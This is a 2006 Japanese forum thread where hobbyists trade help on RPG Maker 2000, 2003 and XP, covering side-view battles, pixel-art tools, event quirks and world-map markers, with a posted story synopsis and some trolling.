いつも憎しみに塗れた剣を振るうツウァイス。
その話を聞いただれもがツウァイスは復讐を果たすために戦っているのだと思った。
恩人を咎羽へと陥れたヨミへの復讐 確かにそれがないわけではなかった。しかしツウァイスの本当の目的はその恩人を斬ることだった。
誰よりも優しく 誰よりもお人好しだった かつての恩人
そんな恩人がわけもわからず人を傷つけている
その苦しみから恩人を解放することがツウァイスの本当の目的だったのだ。
復讐と解放 その狭間で揺れながら それでも全てを捨て 解放を選んだツウァイス。
そして再び剣を取る


684 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 21:48:27 ID:t8pTfz4l]
>>682
wordで上げろ、読む気がしない。

685 名前:名前は開発中のものです。 [2006/11/25(土) 21:51:11 ID:eRvJ5j5W]
無理 俺基本携帯だから 苦労して書いたんだから読め

686 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 22:02:44 ID:t8pTfz4l]
>>685
それはいいことを聞いた。
ほれ、

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687 名前:名前は開発中のものです。 [2006/11/25(土) 22:06:58 ID:eRvJ5j5W]
ん?

688 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 22:09:09 ID:2LGL7lkQ]
>>686
最近の携帯は画面スクロールとかしやすいし
NEC製のだとマウスみたいな操作もできるから
それあまり効果ないかもしれんぞ

689 名前:タナ栗粉 [2006/11/25(土) 22:59:14 ID:eRvJ5j5W]
おい なぜ誰も何もいわない

690 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:15:58 ID:3jSNoGBk]
SFCのスーパーダンテのころからやってて
特に何も考えずアホのようなイベントをつくりまくって
自己満足していた俺だが、2000に手を出して
できることの広さとパソコン多少理解してないと
ほとんどやりたいこと出来ない現実をみて落ち込んでいる。
戦闘をサイドビューにする気になればできるとか。
パソコンが解んない俺はイベント命令だけで作るしかないよな。

691 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:36:59 ID:H3nNdd4i]
>>690
2003を買えばすぐできるお( ^ω^)
あとは、付属のサンプルを見て少しずつ真似していくとかな。

692 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:38:32 ID:Aav2aPGs]
2000のデフォ戦を、背景と戦闘アニメを上手く使えばサイドビューにできる。

693 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:48:14 ID:2LGL7lkQ]
>>690
一番簡単なサイドビュー表示の仕方は
戦闘背景にキャラ書いちゃうことだ
これだとアニメーションさせられないのと
メンバー入れ替えするなら背景も変更させないといけないという
面倒な欠点もあるけどね

694 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:53:39 ID:WaX5/QGK]
2000でのサイドビュー自作は技術的には難しくないけど、キャラが死んだ時のグラとかの
素材不足に悩まされることが多い

695 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 00:10:14 ID:as2QHKUP]
>>694
ペイントで横向き画像を90度回転。

696 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 00:22:30 ID:pU9VHTGH]
>>691-694

書いたあとでちょっと厨っぽいこと書いたなと反省したが、
こんな質問でもマジレスしてくれる人いるんだな。サンクス。

画力があればなんとかなったりするんだな。
まあ俺は画力ちっともないんだが…。
少し気が楽になった。ありがとう。



697 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 02:35:27 ID:DbP4CArp]
田奈に「ワードでうpしる」なんて難しいこと言ったら可愛そうだよ。

698 名前:名前は開発中のものです。 mailto:hage [2006/11/26(日) 08:43:21 ID:e7IFC+Rc]
vista.nazo.cc/img/vi6449810572.png

699 名前:タナ栗粉 [2006/11/26(日) 12:13:38 ID:D10CnOGR]
ん?なんであらすじ公開したのにみんな黙りこくっちゃったんだ?あー!さては俺のストーリーがすばらしすぎて自分の作品を諦めざるを得なくなったんだろ?
やっぱ才能がありすぎるというのは罪ってのも納得だな

700 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 14:17:08 ID:7KR2Etiq]
ttp://blog.livedoor.jp/blog_ch/archives/50570040.html
これが思い浮かんだ……w

701 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 16:06:39 ID:Ev2z28G2]
>>700
URL開く前から何か分かった俺は勝ち組w

702 名前:名前は開発中のものです。 [2006/11/26(日) 21:11:30 ID:v4u8P29O]
>>699
凄い才能ですね。
こんな才能のない連中のいるゲ作板にあなたのような人は近寄るべきではないと思います。
あなたのように才能溢れた人たちが集まる場所に移動するべきではないでしょうか。
お勧め場所は「VIP板」です。アソコには才能が頭蓋骨からあふれ出ちゃった人たちが常駐しています。
あなたも「VIP板」で「才能が頭蓋骨から溢れちゃってる俺様がゲームを作るスレ」あたりのタイトルでスレを立ててください。


703 名前:タナ栗粉 [2006/11/26(日) 21:23:44 ID:D10CnOGR]
うむ。ではVIPに紹介してくれたまえ
おっとスレがだいぶ脱線してしまったな 俺は意外にもこのスレを大切に思っているのでしばらく消えてみよ
あでゅー^^

704 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 01:14:09 ID:x7XZg3u1]
>>703
とりあえずこのスレから覗いてみるといいよ。

VIPが無いと暇
etc3.2ch.net/test/read.cgi/siberia/1163501952/l50


705 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 03:45:41 ID:77PrszSN]
ちょっとガンパレのウラ設定を彷彿とさせた

706 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 10:14:12 ID:efDdnjp2]

ツクールXPにてマップチップやキャラチップを作成する上でお勧めの描画ツールは
何がありますでしょうか?




707 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 12:29:07 ID:F/tC4fNk]
フォトショ

708 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 13:57:05 ID:+j8NyQCr]
たけえよ。Gimpで良くね?

709 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 14:00:15 ID:dQe3QpCG]
ペインタークラシックforタブレットのオマケソフト

710 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 14:01:51 ID:Hm1NBkGm]
GIMPで十分だよ。Photoshopに勝るとも劣らない。
フリーであれは素晴らしいと思うよ。


使ったことないけど。

711 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 14:58:06 ID:S8cl0zEo]
フリーソフトの範囲でオススメするなら
チップ素材はドット打ちが基本だから256色なら
「EDGE」 www.tkb-soft.hmcbest.com/program/win/edge/
フルカラーなら
「GraphicsGale」 www.humanbalance.net/gale/
さらにフルカラーPNGをαチャンネル透過付きで出力したいなら
「PictBear SE」 sleipnir.pos.to/software/pbse/
辺りがいいんじゃないか?

GIMPは高機能だし十分だけど、GUIがLinuxライクなのと高機能であるがゆえに
機能の割り当てを把握するのが初心者には非常に難しいからあまりお薦めしない。


712 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 00:02:38 ID:4xM3nFKz]
2000で自作戦闘作ったが、デフォ戦で十分じゃないかと思えてきた
作りこまないとデフォ戦に劣るが、作りこむならスクリプト使えるxpで作りたいジレンマ

713 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 01:04:29 ID:DjBynyzm]
じゃあXPで作ればいいじゃん。
2000の自作って何のメリットがあるのかわからん。
XPだと他にデメリットがあるから2000ってんなら話はわかるけど

714 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 18:59:05 ID:xSki4YQJ]
メリットって
こだわりたいか気にしないかという単純な考えによると思うんだが・・・
制限の中で色々試行錯誤する楽しみもツクールにはあると俺は考えるぜ?

715 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 19:06:01 ID:xtejKipu]
それ(制限の中で試行錯誤する楽しみ)が2000からXPになるとなくなるのか、
と言うと疑問。

というよりそもそも>712は「作りこむならスクリプト使えるxpで」と言ってるんだから、
楽しみなんか感じてないだろうしなぁ。

716 名前:名前は開発中のものです。 [2006/11/28(火) 19:51:11 ID:4xM3nFKz]
>>715
さすがに楽しみを感じないって事は無いぜ、処理の方法とか試行錯誤するのは割と好きだし

もうしばらく2000で頑張ってみる事にする



717 名前:名前は開発中のものです。 [2006/11/28(火) 21:50:16 ID:jG/Nvvnc]
つーか、ツクールXPってプログラミング覚えるには結構良くないか?
Rubyがいいってわけじゃなくて、ツール中のスクリプトエディタの中をじっくり見てると
この処理はこうやってるんだってのがわかる。
VBで仕事用のしょうもないアプリ作っててもゲーム作りはできるようにならないよな。


718 名前:名前は開発中のものです。 [2006/11/28(火) 21:55:16 ID:igIecFqv]
ちょっと質問。
ツクール2000でゲームを作ろうと思ったら、突然マップツリーデータが壊れていますとか言ってゲームが作れなくなったんだけど。
これって他になった奴いる?
対処法とかあるのかね?

719 名前:名前は開発中のものです。 [2006/11/28(火) 22:26:56 ID:Q3B8iOYb]
>>718
チーン

720 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 00:07:54 ID:3X2v9GAs]
>>718

ttp://diarynote.jp/d/46594/_0_50.html
の5月4日

でもデーターベースが劣化するの痛い痛い
以前同じ状態になって、今も完全復旧できてない

721 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 09:07:54 ID:mpLisTa7]
2000で、複数のスイッチを一つの変数で代用しようと思うのですが、スイッチ20個までが限界でしょうか?

722 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 10:13:47 ID:RFocoNSH]
2000ってキャラの大きさ固定でしたっけ?
XPでは自由な大きさのキャラが作れるので気に入ったんですが。
あと単独EXEにできる点もかな。

723 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 10:52:02 ID:fVeCZEa/]
キャラは24x32。

724 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 14:53:47 ID:JXFXiPDk]
>>720
バッグアップw

725 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 17:34:24 ID:/3VbJ5ip]
>>722
1キャラの大きさは固定だけど
キャラチップをいくつか並べれば好きな大きさにできる。
足元が動いたら周りも同じように動くよう設定しなきゃなんないけど。

726 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:08:27 ID:epYJz9gz]
ツクール2000にて、あるイベントが主人公に触れたとき、
そのイベントが勝手に下向きになってしまうのは仕様?

勝手に下向きになってしまう系の仕様って何かあったっけ?



727 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:15:18 ID:mpLisTa7]
そんなのあったっけ?
ページ変えたから、とかじゃないの?

728 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:26:52 ID:epYJz9gz]
ページは変わってないなぁ。

「イベントから触れたとき」「通常キャラの下」のイベントが
主人公と重なると、重なる瞬間に下向きになる。

イベント実行内容には、イベントグラフィック変更も下向き命令も存在しない。


わけわかめ。

729 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:31:51 ID:mpLisTa7]
アニメーションタイプを向き固定にするといいんじゃないの

730 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:44:24 ID:epYJz9gz]
試しに向き固定にしてみた。

そのイベントは、移動中にはしっかり向き固定してたのに、
やはり触れたとたんに下向きに・・・。

人生オワタ\(^o^)/

731 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:49:40 ID:eJZ8HFzu]
イベント周囲のマップ上層チップを削除してみ?

732 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:53:51 ID:NnZ1TQQb]
2000で、飛行船に乗ってる状態で、
マップに配置したイベントに触れてイベントを開始させる方法ってある?

733 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:56:57 ID:epYJz9gz]
マップ上には、もともと上層チップがなかったりする・・・。

すまん、ありがとう。
もう別の手で行くことにするよ・・・。

みなも、やってみると同じ症状がでる・・・かも?


734 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 19:10:51 ID:KbwIMQsl]
キャラグラの下向きを好きな向きのグラに描き変えればおk

735 名前:名前は開発中のものです。 [2006/11/29(水) 19:16:33 ID:a5CTLXX5]
>>725
スマソ、それってプレイヤーが操作する主人公でもできる?
でかいキャラを自由に動かしたいんだが

736 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 19:20:21 ID:ldbwnNd5]
>>732
イベント位置の座標を監視して自動開始とかは嫌い?



737 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 20:03:26 ID:NnZ1TQQb]
>>736
やはりそれしかないか。
もう既に並列処理を常時いくつか使ってるから、
できれば避けたかったんだよな。

738 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 20:22:08 ID:ldbwnNd5]
>>737
どんなマップか分からないからなんだけど、飛行船の影が来る一段上にイベントを置くのは?
んでイベント開始を、条件分岐で飛行船に乗っている時に起きるようにするとか。

739 名前:737 mailto:sage [2006/11/29(水) 20:58:24 ID:H5oiQwVN]
>>738
ああいや、飛行船の画像と中心座標がずれてることが問題じゃなくて、
イベント開始条件が「主人公から触れた時」の場合に、
飛行船に乗ってる状態で触れても開始しないことが問題なんだわ。

740 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 21:09:45 ID:HFV3usia]
逆に飛行船の方をデフォを使わず自作すると言う発想もあるがめんどいだろうな。
やはり座標を監視するイベントが無難だろうな。

741 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 22:03:33 ID:ldbwnNd5]
>>739
飛行船に乗っているとき「主人公から触れたとき」ではなく
「イベントから触れたとき」なら実行されるから、それを利用するのは?

742 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 23:10:11 ID:H5oiQwVN]
>>741
それは盲点だった、サンクス。

743 名前:名前は開発中のものです。 mailto:sage [2006/12/01(金) 00:15:33 ID:jUkxd+7p]
xpで作ってるんだけど、自動実行イベントの最初に
ピクチャー表示コマンドを置くと、スイッチで締めるかなんかしない限り
一生表示されない気がする。

744 名前:名前は開発中のものです。 mailto:sage [2006/12/01(金) 23:27:49 ID:uXnPOTH0]
2003から引用して2000でコモンの呼び出しをしたいんですが未知のコマンドになって呼び出しができません。どうやって呼び出せばいいんでしょうか?

745 名前:名前は開発中のものです。 mailto:sage [2006/12/01(金) 23:57:12 ID:sZBF08Lw]
2003で編集したゲームは2000で開くことは出来なくなるのでしょうか?

746 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:16:41 ID:K8/OA4XI]
可能。RPG_RT.exeを2003から2000に差し替える必要があるけどね。

あと、2000で一度データを開いてから再びRPG_RT.exeを2000から2003に差し替えると、
詳しい仕組みは知らんが、2000のくせに2003verでテストプレイが出来る。



747 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:19:31 ID:K8/OA4XI]
言い忘れ。
上記のは、あくまで開く事が可能なだけであって、ゲームを起動するって言うなら無理。
2003と2000じゃデフォ戦闘システムが違うから。

748 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:23:27 ID:hLaHD8pa]
ロマンジのってどうやってるの?
コモンで敵のステータス代入出来たり、その他色々と凄い部分があるんだけど。

749 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:36:14 ID:vd73J6P8]
調べてみたけど2003ってダンジョン自動で作ってくれる機能があるらしいが、出来はどうなの?
まともに機能するならすげー便利な気がするが…

750 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:46:33 ID:LW/SFOUZ]
出口のない超高難度のダンジョンが出来上がる

751 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 09:42:25 ID:CmTcipHs]
>>735
並列処理で主人公の位置を取得して
その上部に上半身の絵が来るようにすればできるんじゃない?
ツクールのテクニック大量に紹介してるサイトでもっと詳しく解説してた
そこではピクチャ使ってたけど

752 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 11:10:48 ID:HPEjgRiP]
>>749
結局その機能を使ってるユーザーはまったくいない。

753 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 11:13:02 ID:hLaHD8pa]
ロマンジのってどうやってるの?
コモンで敵のステータス代入出来たり、その他色々と凄い部分があるんだけど。

754 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 13:23:01 ID:uTvAXDZY]
>>753
戦闘中にコモン呼び出しは2003からコピーしたんだと思う。

755 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 13:36:27 ID:hLaHD8pa]
>>754
「未知のコマンド」になるんだけど・・・。

756 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 14:11:03 ID:7ym39Z/p]
コモン内に無効なコマンドがあるとかじゃないの?
なにやらせてんの?



757 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 14:44:15 ID:hLaHD8pa]
>>756
とりあえず動くかテストで文章表示とかさせてるけど

758 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 17:47:00 ID:gqHPMPKJ]
KGCの盗むを入れてるんですが。
盗むの結果を表示する
ヘルプウィンドウの表示時間が短くて何を盗んだか読み難く、
ヘルプウィンドウの表示時間を伸ばしたいのですが、
如何すれば宜しいでしょうか?

759 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 23:45:44 ID:4YZh1zne]
ヘルプウィンドウの表示時間を長くすればいいと思うよ

760 名前:758 mailto:sage [2006/12/03(日) 10:02:25 ID:CsK/ySzw]
>>759
ヘルプウィンドウの表示時間を長くするには
どのスクリプトのどの部分を弄ればいいのですか?

761 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 11:43:44 ID:nFczpNZl]
どうすればXPでワールドマップが作れますか?

762 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 12:15:33 ID:M5WXv+QN]
ワールドマップを作れば良いと思うよ

763 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 13:41:56 ID:WPcmOv/w]
>>761
普通に作るのと同じじゃないかね。

Youどういうのを作りたいのか「ワールドマップ」の定義がはっきりしてないよ。

764 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 13:57:06 ID:sJJss3DO]
>>751
遅くなったがトンクス

765 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 15:35:24 ID:3I6k80xQ]
>>761
ワールドマップを作ればいいんじゃないかな

766 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 18:44:03 ID:nFczpNZl]
>>763 んとねごく普通のワールドマップ 
決まったボタンを押すと画面全体がワールドマップ画面に切り替わって自分の今いる場所が点で表されるってのがいいんだけど。
一つ一つの大陸はそれぞれ違うマップで作ってあるからどうすればいいのかな



767 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 19:59:13 ID:09leiyZ1]
アレ臭いな…

768 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 20:11:13 ID:yf8aVlk6]
ワールドマップとマーカーをピクチャーで用意してマップごとに位置を割り出す算式を組んで
マップIDと座標から割り出した位置にマーカーを表示知ればいいだけじゃないの?

2000のコモンでもできるから、そのままXPでもコモンでできるっしょ。

769 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 20:41:54 ID:nFczpNZl]
難しすぎてなにがなんだか もっと詳しくお願いしやす

770 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 20:51:40 ID:rbhtYr2V]
ぽかーん。これ以上どう簡単にせよと……。
一回、自分の欲しいモノを整理して考えてみるといいよ。

マーカーはキャラでもいいわな。

771 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 22:03:06 ID:Sg5BOqzl]
2000製のゲームってフルスクリーンでプレイしないと動作が遅くなるんですか?
安価なSXGA(1280×1024)の液晶ディスプレイでフルスクリーンにするとアスペクト比が変わってしまうのですが、
比率を保持したまま拡大できる機能のあるディスプレイを使用しないと液晶で2000製のゲームはプレイしづらいのでしょうか?
XPだとそこら辺はどうなっているのでしょうか?




772 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 23:05:15 ID:vJPFxLuW]
ウィンドウモードの大きい方は
画面のプロパティで「画面の色」を16ビットにすれば
小さい方やフルスクリーンと同じくらいの軽さ。

XPはかなり重い。

773 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 23:56:49 ID:Sg5BOqzl]
そうですか……。
それじゃあツクールを使うのはやめます。
さようなら。


774 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 23:58:01 ID:Znz9Bg+c]
キャラチップって

1 2 3
4 5 6
7 8 9
0 * #
って感じに並んでるよね?


自作戦闘で数字表示する時にセラブルみたいなイベントのページ毎に「あれが1以上ならキャラチップで1を表示」という条件じゃなくて
動作指定して1ページにまとめたいんだ


ただ動作指定は方向しか指定出来なくて?、正面向いてると258*しか表示出来ないのよ

イベントページのキャラチップ選択する所でチップ右側、左側、真中で右側にすれば1470、左側にすれば369#が表示出来るんだけど何とか1ページに押さえたい


意味不明な文章だけと誰か教えて下さい

775 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:09:51 ID:tPh54uiS]
ん?ツクール2000ってWinXPだと動き悪くなるの?

776 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:13:44 ID:4pPJRYTK]
そちらさんの文意を汲み取れているかは分からないけど、

チップセットは、1キャラに対して12マス。
1 2 3
4 5 6
7 8 9
0 * #
で、一ページに抑えるとなると向き指定で揃えるしかないわけだから、
実質、使えるのは258*のマスのみ。
となれば、これを計三キャラ分(1〜4、5〜8、9〜12の数字に対応)作れば問題解決じゃないの?
仮に三つ作ってそれぞれ@ABとすれば、
条件指定で変数○○が1の時に@「上を向く」=1に対応
条件指定で変数○○が2の時に@「右を向く」=2に対応
条件指定で変数○○が3の時に@「下を向く」=3に対応
条件指定で変数○○が4の時に@「左を向く」=4に対応

条件指定で変数○○が12の時にB「左を向く」=12に対応
ってな具合で。ただ、個人的にはセラブル方式の方が楽のような気がする。
面倒って言うならピクチャーで表示するってのもありかと。
というか、チップ使ってこの手法ならピクチャーの方がまだ手軽。こんな感じでおk?



777 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:21:08 ID:4pPJRYTK]
ん、間違ったな。12まで作る必要ないね。9まででいいか。あと0も付け足して。
作るマップチップはこんな感じで。(*は必要ないものと考えて)

* 1 *
* 2 *
* 3 *
* 4 *

* 5 *
* 6 *
* 7 *
* 8 *

* 9 *
* 0 *
* * *
* * *

778 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:23:24 ID:WETsvPET]
ピクチャーの方が早くて楽だよ。
でも50しかないからすぐ足りなくなってこまる。

779 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:38:35 ID:CHZyBv0S]
>>774
動きが左・中央・右の状態のイベントをそれぞれ用意して、
表示する前に一つの場所に重ねておく。
で、条件を満たさないときは他の二つのイベントは透明にしておけばおk

780 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 01:46:26 ID:RrhcHK2z]
主人公を変えてそれぞれ違う場所から始めたくて
とりあえず、主人公の歩行グラフィックと顔グラフィックは変更してみたのだけど
能力や装備、アイテム、経験値、仲間などはどうすればいいかな

781 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 11:02:15 ID:kX51VxxZ]
だからさあ マーカーやら算式やら意味がよくわからへんねん どうやったらワールドマップ作れるか手順をもっと詳しくたのむ

782 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 11:07:32 ID:3WaEYHtw]
>>781
理解力も、理解しようという意思さえない池沼は諦めろ。
少しは自分で調べて努力しろや。

783 名前:名前は開発中のものです。 [2006/12/04(月) 11:43:47 ID:kX51VxxZ]
そうやって中傷する暇があったら早く教えて 早く

784 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 12:23:32 ID:IBAie81F]
>>781
XPならまず640×480のワールドマップ用の画像を用意する、そして赤い点でもなんでもいいから
現在位置のマーカー用画像も用意する。
いくつかに分かれたマップの四隅の位置がワールドマップどの位置に来るかそれぞれ決める。
例えばある地域のマップはワールドマップ画像上での位置が左上隅が(150,100)右下隅は(300,200)の
位置に対応していたと仮定する、その地域のマップの広さが仮に30×20マスだったとする場合、
0,0=150,100、30,20=300,200に対応するのはわかると思う。
この地域のx座標の計算式は150+(x*5)、y座標の計算式は100+(y*5)となる。
高校1年生くらいの数学力があれば余裕で計算式は導けるはずなので、地域マップごとにこれを用意いて
マップIDと座標を監視して対応した計算式を呼び出し、マップを表示した後その上の対応した座標位置に
マーカーを表示するようにコモンを作れば基本的に2000でも2003でもXPで作れる。

785 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 12:33:57 ID:IBAie81F]
なんだタナだったのか、詳しく説明して損した教えてもどうせ判らないからな。

786 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 13:20:35 ID:MK/wSUpw]
流れぶった切ってすいませんが、質問です。

ツクール95のモングラをツクール2000で使用するには
どうすればいいでしょうか?
95からモングラを取りだす方法がわかりません・・・。



787 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 13:45:43 ID:JO+zXrGO]
どっかのフォルダとかに入ってるんじゃねーの。
まぁそもそも95と2000では解像度違うから使うのは難しいけどよ。

788 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 17:31:05 ID:a8d2o39b]
サンプルゲーム覗けば分かるような質問が多いですね^^;






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